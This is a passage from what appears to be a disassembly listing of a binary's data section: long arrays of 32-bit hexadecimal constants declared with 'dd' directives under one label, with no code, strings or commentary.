		dd 9D0F7D22h, 0C0913E07h, 0BA06841Bh, 0B73114A0h, 57A28090h
		dd 638A2820h, 38B0F92h,	0C9228320h, 1081B6EAh, 0E849F234h
		dd 0E853DCDEh, 0BC332884h, 3F729F00h, 1FBC6255h, 7B7D8802h
		dd 0F9AFE88h, 0F5491135h, 558E25C0h, 0F8307AF2h, 0D99CC910h
		dd 62BA3BE3h, 8AC18280h, 9A3F57A8h, 0F8162400h,	0A71DC6F6h
		dd 30AD779Fh, 44995D03h, 80A82BA1h, 9400BA72h, 0B313A14h
		dd 1920860h, 6111EEE7h,	80FF7A59h, 0A912F229h, 357794h
		dd 0B920B14Ch, 45D3A6E3h, 687C192Ah, 69639C30h,	2C6188h
		dd 9A09EA7Dh, 0EF84BF1Dh, 0A0159F04h, 3C918FD8h, 3180629Ch
		dd 4D57CC27h, 0B013EEEh, 2A255461h, 0F0E0C0E4h,	86560776h
		dd 40E547ECh, 6944C512h, 0B23ABE01h, 0B4A7649Ah, 0EF9DD0h
		dd 5A59FD99h, 2DC9A270h, 4819D160h, 0B3BAF0h, 0D0884C82h
		dd 31A754ADh, 0F1F79400h, 7C536689h, 4CBD0C38h,	9D583645h
		dd 809B1E0Eh, 0E7111846h, 0ED260724h, 90DBEE77h, 0DC916E92h
		dd 0E32E6407h, 7D9089E0h, 0B4D3884h, 0B1EFB945h, 9C83190Fh
		dd 62C8050Bh, 2F0086C5h, 0F6984E14h, 7749DB39h,	6CA10071h
		dd 63D1D807h, 0B9C66F89h, 497E4Ch, 68C842D0h, 38E2CE13h
		dd 0C4E33200h, 0ABBC8E85h, 28330C70h, 0DE39ED2Dh, 154F901Eh
		dd 0AECFAF40h, 0C7696D4h, 7D7F7E63h, 4415FEE8h,	0C194FC30h
		dd 3BF31166h, 0CAF37FCDh, 61D680A3h, 14747797h,	0BCA9D030h
		dd 0BC4070C8h, 1144402h, 0DACA481Bh, 40D2CCC9h,	0E37F2814h
		dd 0C8BCF7h, 0AF480D80h, 831960h, 1488A39Eh, 0D0EA44C1h
		dd 94E790C0h, 12AFB78h,	0D8958689h, 0C9FD4765h,	397180C6h
		dd 3D4137E7h, 1DE90379h, 9CE292E1h, 50747AE1h, 62F71274h
		dd 3B79DCh, 0B639457Ch,	0FEC1F027h, 326D00BCh, 602611F1h
		dd 6C0565CEh, 294BDB4Ch, 302FBC40h, 4D8931h, 1660CF98h
		dd 0B31CA334h, 33D88403h, 91EF1474h, 2423F256h,	37FD1200h
		dd 98A002F3h, 4CA22302h, 2B34BF8h, 104450F0h, 0A16CDD33h
		dd 322A811h, 0CFC900C7h, 0C0823012h, 8958E75Ch,	5886303Bh
		dd 1F0A3661h, 77F7AA9h,	0C1812978h, 0BA65DEA4h,	0ED2C0049h
		dd 636A3BFCh, 0B2980050h, 31F2CB36h, 1F140FA9h,	0A494A77Fh
		dd 444D6032h, 112C003Ch, 0E625CD75h, 220299A2h,	5314E8Bh
		dd 0FE084077h, 7D79C960h, 9C2DAF00h, 0B50056C3h, 4859DA98h
		dd 24D1BDACh, 8708C9E2h, 0F0DDEFFFh, 14FBB13h, 0BDD6AB00h
		dd 588D7E0Dh, 0F2DE02A1h, 8F83FD7h, 0CA8FBC48h,	69B3CC33h
		dd 9D9F01Eh, 14AB123Ch,	0A2C21DEh, 3BCA2049h, 26578205h
		dd 4AC0ABD9h, 616A01E5h, 0CCB34884h, 0DBDC4131h, 7759205Dh
		dd 35049675h, 0D02D98F8h, 63833097h, 0A0DD937Bh, 0EBD2FE1h
		dd 0CA5CFFC0h, 4FF0B320h, 78C09E81h, 31EB1E64h,	187E7223h
		dd 0C18D5169h, 0F0883B33h, 31756432h, 1238D8AEh, 73640F0Ch
		dd 5B779CDh, 0D5D874F6h, 4197C655h, 0FE67A907h,	4700CADh
		dd 7D756F5Ch, 0C64F3BD6h, 2307FA4h, 4289E187h, 0E3CB1448h
		dd 768CB854h, 43033E3h,	0CB329557h, 7E992640h, 4E000DA9h
		dd 5456E4E3h, 0DCB82E3Fh, 0AF9F0F21h, 89B20053h, 0B7F6C9D5h
		dd 0B24059DCh, 6002107Eh, 0E1766032h, 0B8875F80h, 30772724h
		dd 1C40CB65h, 0D3588B75h, 0D8082C47h, 0B838006Bh, 1A50C23Ch
		dd 0DA8D9807h, 32413554h, 0E022DDBFh, 3C4F3000h, 0F5085AE1h
		dd 0F935B300h, 0ED2CB77h, 47133D26h, 266C98F3h,	0A441AF0h
		dd 42BC49F3h, 98467EADh, 0E12040FAh, 329D29FEh,	827400FCh
		dd 70788DD5h, 39BB5900h, 12BC986Ch, 4C04B0CBh, 7A8B0C32h
		dd 0E1219987h, 0BE6CF386h, 0C1550041h, 0D5229FFEh, 2C7F642h
		dd 8469EB79h, 98668665h, 0F306C093h, 16419758h,	6135F23Fh
		dd 0E0DA9540h, 302C76F6h, 36003DE5h, 2F7E7723h,	4ECC0C9Dh
		dd 2450148Fh, 4249C09Ah, 2E55857Ch, 4ACE7000h, 0E4219h
		dd 0FCBAA604h, 0A96723C7h, 0DBBF3B00h, 1DA3A5A4h, 6D012ACBh
		dd 0A4630BCh, 0A4667391h, 1A4EBC5Ch, 11A0A3CDh,	241AB870h
		dd 0F8481050h, 18F43315h, 0E331D92Dh, 0B7100B6h, 89E5D206h
		dd 87491ABEh, 3FFFE064h, 1B99C128h, 0D86BC235h,	0C60F84B0h
		dd 669325E3h, 61C72Dh, 0E53DAF8Ch, 0BEA599DDh, 13614900h
		dd 33F6E479h, 0EEA00AA4h, 0C0D8BC70h, 0E05AD87Eh, 61821C00h
		dd 1FC83BBDh, 106CA4AAh, 2CB9634Fh, 0C04E8CDDh,	373662C7h
		dd 20A05C98h, 0AE800B22h, 7B07580Ah, 0D0EA28Ah,	2DEA9C30h
		dd 0D5271FDDh, 345F8492h, 5B20C1D3h, 981E1136h,	322C6436h
		dd 284784h, 0A0AD02F9h,	23BE3800h, 988853BCh, 9ECF578h
		dd 54530AEh, 0F5B9F349h, 4B061A03h, 0B9A9B0A0h,	98725A30h
		dd 7FF0DA07h, 7A2E222Bh, 610068CEh, 0D9B944F8h,	2151F19h
		dd 13305F72h, 0D0A771F7h, 2642F0B3h, 67007494h,	5248FD46h
		dd 90913C7h, 2E568803h,	17E83C90h, 8429ED3Eh, 1A767A72h
		dd 4D181880h, 2DCA185Fh, 4B452964h, 2B7E8D1Eh, 0E4522700h
		dd 543AC4h, 0FD523B2h, 7883DB45h, 0F39C709Bh, 7B09BE2h
		dd 0A007A4D5h, 7C80BE0Dh, 0DEB0BF00h, 8BB27DFBh, 67C902BCh
		dd 0EEF22813h, 7BD50C68h, 8A73F405h, 98985542h,	0FC50E74Dh
		dd 4836F93Eh, 17168685h, 86CE0956h, 330E70B0h, 7391CE60h
		dd 4CDB80C5h, 280BFCDFh, 0AC837B97h, 51076032h,	0C19ECD52h
		dd 0B428F5C0h, 24BB7A2Ah, 80A08232h, 1C9BA80Eh,	6F073937h
		dd 89E64163h, 98801BF4h
dword_53C518	dd 145AF12h, 0B880627Ch, 7655C4F8h, 0FFB0414h, 8C85876h
		dd 45A000C7h, 5FDE13D5h, 5AF628BFh, 0F88B410Ah,	0C1839C68h
		dd 0E0EA5543h, 0AFB84h,	0C5522B95h, 6977477Dh, 1FC3E21Dh
		dd 85DA2D49h, 5C884672h, 0BADC0140h, 0C6F8E2A8h, 5C9067ECh
		dd 505780B4h, 4CAF2A01h, 8C3E2464h, 1CB1CA44h, 0E3477686h
		dd 1FAB0E19h, 320568Fh,	571B8945h, 0AE82909h, 80B7218Dh
		dd 0AC30A809h, 2BA8901Dh, 80847EAEh, 0E7BDB51Fh, 88B88C68h
		dd 10B0C101h, 31F396C3h, 0C07C8072h, 0A84B2B28h, 8D0433D5h
		dd 98150CB2h, 54399C8Ch, 0A0476051h, 1312F46Ch,	134846E0h
		dd 0D3F40804h, 7E0F1180h, 0A056FB08h, 811AD6E0h, 7CF4484Dh
		dd 0CDB73F00h, 0BE6753ECh, 73CF268Ch, 98986BB0h, 172ACDC3h
		dd 0D6989478h, 0F5CA3480h, 0C519B663h, 292BF1D2h, 0A7844C62h
		dd 0FECA44FDh, 0A04624A4h, 1E0EA164h, 0A93222D6h, 0E091174h
		dd 401014CFh, 7890CAF1h, 0C8E0066h, 2F4CB41Dh, 88963929h
		dd 2FC36245h, 6354DA24h, 0BF9CA8CFh, 0AC5F0234h, 0A8A588CDh
		dd 393F8460h, 0C066DD80h, 0F480F891h, 9330080Eh, 0F6C89E8Ch
		dd 4DF22438h, 4C06090h,	700072BEh, 0E8EC430h, 0F211EEC3h
		dd 8308B1FAh, 0CD100B7Fh, 1DEDD3C0h, 7A29701Dh,	0FEE0D400h
		dd 7E603Ch, 7B077812h, 2ACCD876h, 6111C0C0h, 1E2F71Eh
		dd 7F2863B2h, 0E33AC17Bh, 4C8F5816h, 73E3E420h,	7C217BFFh
		dd 58AE58DEh, 441C8870h, 9C002CE4h, 8750E897h, 8B6BC5h
		dd 56727A5Ch, 992FB6D6h, 3885BA00h, 0C67EB534h,	208F4EEEh
		dd 0E6B6FD08h, 3879297Ah, 25183A05h, 4EE61C7h, 803FBA44h
		dd 1FF61274h, 6E721312h, 177F6042h, 56B86879h, 5FC9A81h
		dd 0CDC0D66h, 3CD080D9h, 0BF7C6FCAh, 0F781358h,	4B650246h
		dd 9488036h, 54AEE1ABh,	702D7CC0h, 95902AB4h, 32D24088h
		dd 0F402D891h, 0C0610CABh, 2A581Ah, 88429062h, 135EE221h
		dd 39F0CC65h, 0E8343483h, 5C7E56AFh, 6526E023h,	0ED3F05ECh
		dd 0DAD8C9F3h, 0CA35EB20h, 12B002FFh, 57BF5345h, 9684A840h
		dd 9E387B00h, 0C0431E10h, 0FAB90139h, 4434282Ch, 0D560812Dh
		dd 4894016Bh, 157784D0h, 6C930DAAh, 2FA5420Ah, 0ADB20FAFh
		dd 0FD843D7Fh, 90CB3539h, 0B8016DFCh, 3CC0A58h,	0D5688976h
		dd 0DDB00866h, 0B609EF77h, 8DE6804Dh, 6B0B0Ah, 0CC12F6E5h
		dd 0A384751Ch, 0CE4CC948h, 71405DBAh, 5519BCDFh, 75BB0091h
		dd 0A4A6F947h, 7E0141D1h, 0B16CE9C4h, 0E020EE39h, 40A80A02h
		dd 97945C61h, 571C3050h, 0C12E5F39h, 33806864h,	4BF549D5h
		dd 80509E2Ah, 8D8A1D9Ch, 301C6706h, 0CE809A73h,	0FBD1E9A7h
		dd 237D1DF3h, 6E2AC08Fh, 0EAA063C6h, 0CFBC0503h, 0C4FA1BD9h
		dd 9A27FC0h, 398F7E31h,	3D00D115h, 0F3144DC4h, 4C005D82h
		dd 776E02ADh, 3F7D4B4h,	6109888Ch, 0BBA856CEh, 590003B6h
		dd 1D110CA0h, 7F7D0EB9h, 3D1574A6h, 233B410Fh, 0FA93C380h
		dd 22C47897h, 34F70306h, 0F8700F7Bh, 94E8BBh, 6FF9D9A1h
		dd 8BD4C391h, 0C6218561h, 5181B3C8h, 0B89EB731h, 0D2C7FB09h
		dd 43C051C9h, 20C00889h, 777FCDD1h, 6A8F01B2h, 2AF3CD5h
		dd 0C3F64470h, 49139A9Ah, 6E1BB59Dh, 324EC060h,	547F0205h
		dd 55A09CA6h, 5101A0E3h, 0B4385CCEh, 7BFCE709h,	0BB44005Eh
		dd 6F19C16h, 0A400955Fh, 0EA0F4EC7h, 0C1E986Dh,	188FFF6h
		dd 0B571A741h, 3745CA1Eh, 93F76B40h, 0C196279h,	0E492B4BBh
		dd 0F3070B29h, 88DD4605h, 0D26842A1h, 0E0636ECh, 0B7772AC0h
		dd 0BA442900h, 0FC006186h, 7A212BD8h, 0E1C41DE5h, 799092ECh
		dd 0B27900A1h, 354296BEh, 0D000E0C6h, 22C17F0Fh, 548FFE53h
		dd 48ACAC91h, 9C1EE8B0h, 7D6E8069h, 3B176693h, 0A1A8CA00h
		dd 0AC1AB55Ah, 45150A18h, 61A0C7DCh, 80838F79h,	0A4C68E49h
		dd 0FC0BD896h, 584D1F14h, 0A81600D5h, 5F7F2BCh,	83A5C700h
		dd 0CCF5F4E3h, 891400D7h, 0FC9E7C2Dh, 861F0138h, 4000E73Dh
		dd 929A716Ah, 0A83FF8F0h, 3E36D0h, 59B89102h, 0E38CB083h
		dd 5882DF00h, 8BB10134h, 16AC011Bh, 7A17CEBDh, 68BFF3h
		dd 85D6DE2Bh, 18AB9E11h, 0C1CFA709h, 9A00C9AAh,	0C5AD48ECh
		dd 128B991h, 0CF08853Ah, 0BA269E06h, 220AFA29h,	4CFA4C1Dh
		dd 84AEC60Ah, 0A4B5A240h, 505B008Fh, 0BF7B99DBh, 0FA00CEE1h
		dd 0C0303C6Fh, 0FE44836Dh, 8EF4A80Bh, 0A69CA87Eh, 902FFE6Ch
		dd 0B13901DFh, 72B35705h, 0C6C424ABh, 0AD34DC54h, 9DB6741Fh
		dd 9E2E3886h, 0BAC94818h, 0D4BFA01h, 8A23E790h,	9C5B3818h
		dd 86E2F480h, 0BEA6ECh,	455F28D6h, 910B2EAh, 68CD8F30h
		dd 6C4996Eh, 0A3EFAEFDh, 0D07C719Dh, 0B003B1DEh, 3C185145h
		dd 6F06C311h, 41D43416h, 32D9C900h, 0FF380521h,	7F1107AEh
		dd 0B0CC8575h, 0A7B09665h, 259CB60h, 63B425h, 0E406666Ah
		dd 8AEB9F04h, 0EC8ED20Ch, 1767010h, 0D45873C5h,	0E80CC901h
		dd 0A500345Bh, 833385A2h, 74C8F538h, 0E94861F3h, 0F83B295Ah
		dd 0FE0052E7h, 3DD22761h, 0C3C1109Fh, 174C4420h, 0F700C17Ch
		dd 352EA845h, 1BFFB70h,	38360A9Ah, 80B44FFAh, 7A9034A9h
		dd 3051C1CCh, 6808C709h, 1C989E92h, 943244h, 0A2740FEDh
		dd 0D31CFD0Eh, 45617F07h, 0B1C32A67h, 0C61DB055h, 90984C68h
		dd 7DDC2F2Ah, 2248A044h, 7EA50405h, 8223650Bh, 912084D0h
		dd 4F03B93h, 884EDEC1h,	6C04BFB0h, 44849071h, 51246800h
		dd 0E619A5F5h, 19F1679Ah, 1839D298h, 0FDC15C40h, 25030D18h
		dd 581B9581h, 724CF15Dh, 0F7271E09h, 4C6FDC80h,	8D00FA3Bh
		dd 1D083E50h, 1322C3FEh, 3233F704h, 7902BCD8h, 0DC0409D8h
		dd 0A4208182h, 8E86109Ah, 0FE391C92h, 4058E4EBh, 4E91F2CCh
		dd 6BDE1C03h, 0E072EEAFh, 58F9BBCDh, 778CD8h, 0B024715Bh
		dd 0CF6FD0D9h, 9A7BA701h, 9E180E13h, 0A64818EBh, 75386923h
		dd 0D6F5F90Eh, 0C5DB40C7h, 1EA242h, 74523145h, 5F07C289h
		dd 0A9716602h, 823A1AD9h, 46C5C664h, 11A400B0h,	0EB2CF272h
		dd 7148B8CDh, 3028306Ch, 0C42B698Eh, 90CB8F19h,	7CA3F754h
		dd 2C26240Fh, 0FA09E0A4h, 29A9B377h, 4FC8BE6Ah,	0FEBC2153h
		dd 19D9F439h, 1EF4A101h, 0EC7955A6h, 6088EBF4h,	0EA031EEh
		dd 8F023B83h, 2FE61146h, 79A446BCh, 9AF852h, 283D36FAh
		dd 14392C2Eh, 0EE004C92h, 78F62537h, 0FC5DC505h, 27660073h
		dd 0E3B3EDEh, 0BC130CF4h, 8820A904h, 0F51124h, 0ACB05933h
		dd 3120225Ch, 0B6B44C0Fh, 0DB809F7Fh, 0CD279FBh, 14B04DFEh
		dd 22936F1Ch, 62012A00h, 0A263467Fh, 0C67051h, 0DECF7042h
		dd 0D965E35h, 0C9C4F06h, 0A9156Ch, 0D0600B6Eh, 1053DC6Dh
		dd 68FC9DA0h, 80165Ch, 0A018CBF2h, 638491h, 0B58F764Fh
		dd 0FAD42A92h, 11050D18h, 5CC87249h, 5824766Eh,	6B98408Ch
		dd 28B01D24h, 9C32C124h, 9937504h, 0B3A4F143h, 0B2C68180h
		dd 9684D454h, 8600C0A4h, 0A25C8927h, 29568FFh, 16701809h
		dd 0B4848775h, 327C806Eh, 0A009023Ch, 20EF8FFFh, 0B90D280Ch
		dd 0C17564h, 6B1A0720h,	0F7D083A9h, 8601D63Ch, 988EE873h
		dd 34FC0031h, 570C751Eh, 0CA00C9BDh, 307B40AFh,	29F3D5C4h
		dd 0FCCDC6h, 0D0AA9731h, 0CF00A87Ah, 29B762FFh,	1A3D8355h
		dd 29CCA718h, 2B3CF40h,	9BA1C300h, 3DD0CAEh, 13933071h
		dd 97CB26E1h, 0B31F9C74h, 7F92D4B7h, 8A275040h,	183A47FBh
		dd 31044C3Eh, 4654030Ch
		dd 34A0A6B8h, 0CF003F1Fh, 55DBE38Dh, 70D270FEh,	26640018h
		dd 2802184h, 790F8F12h,	8086CF54h, 90F53A97h, 0C74D00AAh
		dd 9E7AC0E2h, 807174Bh,	0CD401E70h, 0E563D9F0h,	0B6C20037h
		dd 8CD58DA6h, 8CB11099h, 0D01B9711h, 2FE0A195h,	19C09B82h
		dd 4509439Eh, 60F25018h, 80247C05h, 0E603344h, 0AECB3C19h
		dd 96F0B140h, 3310009Dh, 0B6BD5557h, 0E2B85177h, 0F87A4B01h
		dd 0CC9C8E97h, 1850A1F0h, 819070B3h, 0CF15F268h, 4CC8F672h
		dd 344A2834h, 0B403B67Ch, 48DB1417h, 0B203C1B8h, 650CC062h
		dd 0EE1A78Fh, 853BCA0Ah, 0FE00897Eh, 9819371Ch,	33243739h
		dd 51C2D1A8h, 0A51E8035h, 5FF86F9Fh, 0D6AD0029h, 0FBD9CB3Dh
		dd 39545197h, 0F73244D8h, 528E890Ch, 39A61EACh,	45BA804Fh
		dd 91D0A854h, 18F1AA13h, 7F8C5002h, 1E3C44A6h, 3AAD1427h
		dd 0F6634880h, 0B1FC56DCh, 0C391C0C2h, 0BC4445h, 0FDBD3F16h
		dd 78861114h, 7EC9C48h,	0FFE07C98h, 8CCA9EC4h, 0C1F4A9C5h
		dd 0E03497ACh, 934A7095h, 329EC843h, 0C149B823h, 0B3DD00EFh
		dd 81B29A42h, 31041D50h, 555E0BF7h, 0A772B520h,	0F1C980E7h
		dd 89D4EF60h, 6A5012Bh,	277471FEh, 60D471C2h, 0F4428AC0h
		dd 580CAE26h, 77004631h, 0DB7BC56Eh, 3F87BCC1h,	0B6B44217h
		dd 12F4C270h, 1E6FBCA1h, 660AC45Bh, 10A4B74Dh, 0E853FABFh
		dd 0DE7C4705h, 0A5ACC003h, 0CB5971E1h, 68388954h, 78A6954h
		dd 11F07CA9h, 5F0A73ECh, 6B9640B4h, 3566455h, 974B1008h
		dd 11004E43h, 0F38E99B7h, 2E3D82E1h, 68D173h, 9D88C72Ah
		dd 628A393Ah, 7F280974h, 81F9EC05h, 10B49AECh, 2C56B731h
		dd 620C9B19h, 68837A11h, 0A1FC0D86h, 59800044h,	586018DDh
		dd 0D98FF638h, 98AA1D68h, 4044A435h, 0C14C38D3h, 0F476CE00h
		dd 416F6ABCh, 0A7170F2h, 50FA3736h, 210C2640h, 7FE178Ch
		dd 7F72D97Ch, 0C734811Dh, 404496AEh, 0F08EB868h, 0D9F2F2A0h
		dd 4F0686ECh, 98679133h, 5A0B051h, 0F05AA440h, 0E85C1865h
		dd 0DA003E70h, 2D03BD80h, 0D0CFBB6Dh, 922F020h,	0A1E4419h
		dd 0C728E49h, 68976100h, 0CF8D79BBh, 0A2F6E00h,	0CB72984Ah
		dd 0DC810964h, 38030D26h, 7100B2A6h, 16BD4775h,	0EEF148h
		dd 0C4E8C961h, 0F9CC93C7h, 1FEA2E07h, 0A580094Fh, 71ABFCEh
		dd 8AEE833Bh, 9F1CA3E1h, 8769A0C7h, 0C33F4202h,	1BDA815Bh
		dd 0BE1991D5h, 39A1CCh,	33A6A273h, 44035A09h, 0EE500663h
		dd 87C1Fh, 0CDF57D0Fh, 0AAEB30C8h, 0E4A13900h, 0E6133F4Eh
		dd 2B355CB7h, 31082D18h, 0AF00EA30h, 5D6B1DCFh,	32579C26h
		dd 0BFA93627h, 392551E0h, 132A11C0h, 21AC25Ch, 0BD0A801Eh
		dd 4CC04CB2h, 0B93F01CFh, 1B1F80D0h, 0FE12DE9Ah, 0C092E02Dh
		dd 94490968h, 9B074A7Bh, 0D4B4BC32h, 91D94E80h,	61AD639Ch
		dd 0A8004533h, 733C39B3h, 702FFB6h, 5BF12CB7h, 0F7678314h
		dd 131810DEh, 5329B03Eh, 0E7E30D87h, 0DC490AC8h, 5E70B123h
		dd 0EDD1CB00h, 3447FC3Eh, 0E8F70020h, 0FA70F867h, 31C0A140h
		dd 0AA47ED09h, 0FE580012h, 0CCF0BA27h, 0EA0A18ABh, 6473463Eh
		dd 16C51400h, 6D6172h, 849448B7h, 1E91077h, 0F703F273h
		dd 14362DFDh, 93300A97h, 40B8B39Ch, 30EFE969h, 0CC614600h
		dd 38098750h, 0F3D303D4h, 5D21FB27h, 7BAB23D8h,	0D854461Fh
		dd 9979CC42h, 0EA408794h, 884ED210h, 516A7936h,	0CE830822h
		dd 32B69DF3h, 0F536710Ah, 0CC084484h, 7BD98006h, 897083C9h
		dd 0DB9459C7h, 466168A0h, 122D0736h, 2030F355h,	7D94538h
		dd 0F37EB09h, 683F80CCh, 1A53914Eh, 61A8BB36h, 0B5AA4260h
		dd 1F44D0Fh, 0E8B4003Ch, 752BC9C7h, 69F0F5F1h, 0DBE601F9h
		dd 0C20259E0h, 0D884432Fh, 1B0B58D8h, 8FE7A200h, 81F6ED36h
		dd 5100775h, 0CC5F8Eh, 0D92EBDCEh, 0F7DBD739h, 660ADD74h
		dd 6CA89DF4h, 72CA8700h, 0AE9689Eh, 5865AA6Fh, 0A0D784C8h
		dd 211E0730h, 8F1E3848h, 0C0E59F86h, 0F3A69129h, 45010C9Bh
		dd 0D88019AEh, 0D1E45476h, 0E8A5F839h, 0B5FF0079h, 0AF22302Fh
		dd 5D0445BFh, 0E1C25E5h, 6002CC88h, 5FDB6136h, 24482BDDh
		dd 81216FE0h, 29CB48B2h, 2FA0B080h, 0F2697CE1h,	8857BC00h
		dd 934BB6Bh, 0E427002Bh, 0FF32536Fh, 220F9B89h,	80FC7578h
		dd 0AC8A8EF4h, 4C0904F3h, 8269D850h, 40212BDCh,	0EC503E1Dh
		dd 28747F3h, 774D3B7Ah,	64C0269Bh, 0A20030CCh, 11C989FEh
		dd 3B7EAB34h, 0F107E1DEh, 2CFF5F37h, 5000741h, 0C86C4431h
		dd 0B8E6BBA4h, 0D43A003Bh, 0ECBC1EB8h, 271DD6E7h, 83C0E909h
		dd 0E8B6903Eh, 3AAC3E7Fh, 0FCEF1880h, 0B4310EBDh, 4CC5490Fh
		dd 2009E737h, 0CBC2DD20h, 0C16B0D33h, 0E0C1CE9Dh, 4505856Ch
		dd 827249A2h, 0AC129C40h, 30C37AA6h, 292939C8h,	0EC008F28h
		dd 0DB195BAAh, 0C6CB74h, 362261D5h, 47F61216h, 0ACADCC00h
		dd 0D19D0B80h, 0D851C090h, 4F4A3C65h, 0E75BE50Fh, 8230008Dh
		dd 9A4BE8h, 0A1D18395h,	37F63463h, 7326EA01h, 0F0DE13E6h
		dd 5C2CFCh, 7FFF07B4h, 0EF1968C0h, 8777333Bh, 0C176360Ah
		dd 0A44555D3h, 0B3E0FCCDh, 4B4200EEh, 2DB7A98Eh, 0BA00D635h
		dd 3AD1060Fh, 706314E3h, 0E4075402h, 7042A1h, 0F1B0FB1Eh
		dd 98E5650Dh, 26150018h, 37DFEA6Fh, 70927AD8h, 36514506h
		dd 0E0E99EBCh, 9C6928EDh, 8BBB007Ch, 0F04A44A8h, 9107A6BCh
		dd 59614FFh, 0C5832A50h, 0C14826D8h, 3E630048h,	0E90F3407h
		dd 1520D0A1h, 911A380Eh, 68F84Ah, 3A32AE5h, 7B465322h
		dd 2E420058h, 0C80D2DA0h, 88F0CBFDh, 7FCE9201h,	4C1E6506h
		dd 818041BDh, 0B195982Ch, 0A3EE0AECh, 7991CB04h, 0BCCC587Ah
		dd 6CDF00CCh, 13573695h, 11C0CD3Dh, 3ECB6871h, 310F7D54h
		dd 40592D01h, 4CB1BC9Fh, 44AA3E14h, 0F3BB1E45h,	835C87BAh
		dd 0E08003BFh, 1E6B2809h, 0CB4CA354h, 2D31012Bh, 89F0FDE8h
		dd 8B26F471h, 0A22EDD00h, 0F728F6E2h, 22C8B09Ah, 35440946h
		dd 32AC00B4h, 685CD71h,	7504D4E9h, 0D82BF769h, 80300CC9h
		dd 0E6F38B21h, 3A884AD8h, 7AB353Ch, 3629DCC9h, 0E4C896C4h
		dd 28B3ADh, 6F57EB8h, 8804762Ah, 0D9318B9Eh, 50C04A84h
		dd 73B1FCE4h, 5EB500FDh, 0E999A3BFh, 0F924B604h, 6340A4EEh
		dd 0F16FF6h, 99DA95B5h,	0A371BD6Bh, 18E1F200h, 74CA4829h
		dd 569E2A40h, 7E9C30A8h, 26BA5E91h, 7B03411Dh, 4EED524Fh
		dd 0ABAEC1D7h, 40DAB565h, 0A41FF4BCh, 0BCC900CCh, 0FE3B7295h
		dd 0E1012628h, 0BBE8DC0h, 5C21556Ah, 0B49CE08Bh, 0DF365010h
		dd 1E71F864h, 0EA888h, 1D479A90h, 0DE3D8A76h, 5918C0Eh
		dd 0F14AE004h, 3ED3997Ch, 2450AA9Bh, 458144DDh,	0E1B24B00h
		dd 1E0FF927h, 6785096Ah, 0E0902557h, 1A00F8BEh,	317F5F51h
		dd 18BD4F01h, 2134CB08h, 4C0349B6h, 144E5E83h, 0DDC5E018h
		dd 18B46053h, 0F174B5C7h, 0FF5E9C0Ah, 0B6809C62h, 0F0D2BA04h
		dd 0CCAD0096h, 4399638Eh, 0B70CA734h, 0A180C6D7h, 0B2D501A6h
		dd 0DAB6EA4Fh, 7FBC4857h, 0C18288h, 18A3B592h, 0FB6B60B2h
		dd 6CDCE824h, 88B64061h, 0C65C39BAh, 4725h, 0B00C6169h
		dd 567203BDh, 7070E546h, 0A44089DBh, 37FE3098h,	54178B20h
		dd 4AE02D0Fh, 0C921A01Bh, 0E6A30650h, 2FE72B2h,	0BD906953h
		dd 5CE01205h, 0F72E0ACEh, 3D82786Dh, 4654A973h,	365E0008h
		dd 0E6E49247h, 0AA7AE028h, 0A8FE0430h, 91CBC6E3h, 3AE50354h
		dd 0F5D8DBE8h, 24007CE0h
		dd 57CDBABCh, 58B19AFBh, 4F218468h, 8D91B508h, 0F0C9255Ah
		dd 3D0DE6F6h, 590CC09Ch, 0D06405C1h, 0DEAA00F5h, 6B9F1260h
		dd 73005A43h, 7430E262h, 0BB86CB4h, 5BFDAAA9h, 80BE2CA1h
		dd 23371233h, 9A906283h, 4318D9C3h, 0C908EDD6h,	0F491CBh
		dd 99EA3878h, 3C00041Bh, 0FA96544Bh, 168CC4BEh,	613767h
		dd 0CD023F28h, 148B6E0h, 0E9F700A3h, 6B7BDD74h,	154A06F1h
		dd 819A9BE3h, 390F7E01h, 0A4A1087Ah, 2D479E8h, 0FF1DEC1Fh
		dd 1480D169h, 2C706F9Eh, 5F9CF601h, 395264E0h, 11BF0C7h
		dd 6CA7404Ch, 0FD12CCF6h, 7832C3F4h, 3C86415h, 0A317E312h
		dd 6EA082F0h, 0CD14FE62h, 8088D288h, 0F9DC528h,	9A29CEFBh
		dd 0FEB00492h, 10EE4B25h, 108628h, 0FF0E1182h, 5A39B80Dh
		dd 29291C30h, 7FE977CCh, 48A698D7h, 53801C28h, 0BEADA489h
		dd 13E36800h, 835B35FAh, 750302DBh, 8A33B79Ch, 0B95D0C0Eh
		dd 6FE31C6Bh, 0C7A74CB2h, 0EF25278Eh, 0A0B0049Dh, 0C0ACB886h
		dd 6C8D0899h, 2C60B541h, 0F09DF341h, 0C4D1485Fh, 8A62AB80h
		dd 0C0087C8h, 446A5382h, 4A2EF437h, 0D5F40099h,	506CC8C0h
		dd 49D35AE0h, 66266900h, 1CFC44B4h, 4021A886h, 57B99630h
		dd 716E002h, 1003BF10h,	7878AAAh, 0F0CE6C48h, 994B6264h
		dd 82B3B4E0h, 0C9677600h, 0D2CA36C6h, 392973FBh, 0A3007FF1h
		dd 0D9BC1908h, 8B0668Fh, 78CEB848h, 7DE918C0h, 0BCE077Fh
		dd 0B69DF676h, 0DF309010h, 80451B3Dh, 47DA835Ah, 13ABB273h
		dd 5C9A50B5h, 0D2A192E8h, 905A0134h, 3E8B7C00h,	75B5EA26h
		dd 27B4BC9h, 0AA4FF728h, 0B4456460h, 68666700h,	0CDE8CC1Ch
		dd 0C0BA1624h, 0F3A40029h, 9B2EA5A4h, 62B0F654h, 1F56E318h
		dd 0F54514h, 1819BC3Ah,	43D0A042h, 691EC576h, 5466731Ch
		dd 56BA2782h, 3F88511Bh, 65A20BC6h, 2A4C19C9h, 0E692D810h
		dd 0C4A1C704h, 8CD015E2h, 7A47FB7h, 0C04AEA81h,	1037421Fh
		dd 0A2F690E0h, 3F6919C0h, 99B6465Ch, 0F0E903D4h, 1A094E1h
		dd 284D81AAh, 0A6121118h, 78B39C11h, 0C4996C06h, 71138CBh
		dd 2CD3CF5Ah, 6BE93053h, 0A300A8C0h, 6877E4Ch, 133B6232h
		dd 927CE02h, 7CC8EEF4h,	0B975ACDFh, 3DB67813h, 0F4CB46E0h
		dd 0A567504Bh, 34D570C2h, 0E2F86C26h, 52280020h, 0C1DBBE6Eh
		dd 18AC1C15h, 0BFBA40C4h, 0B58037F1h, 4ACE4200h, 8147DEB2h
		dd 0A301E2CBh, 34CA88B4h, 91A59069h, 824D0180h,	22EC3F8Ah
		dd 2E9B0010h, 38651D9Eh, 0B6601CEh, 8756F347h, 0FE082085h
		dd 6A9BE707h, 90095A5Ch, 1325B338h, 0EF44DA3h, 73E9CDD8h
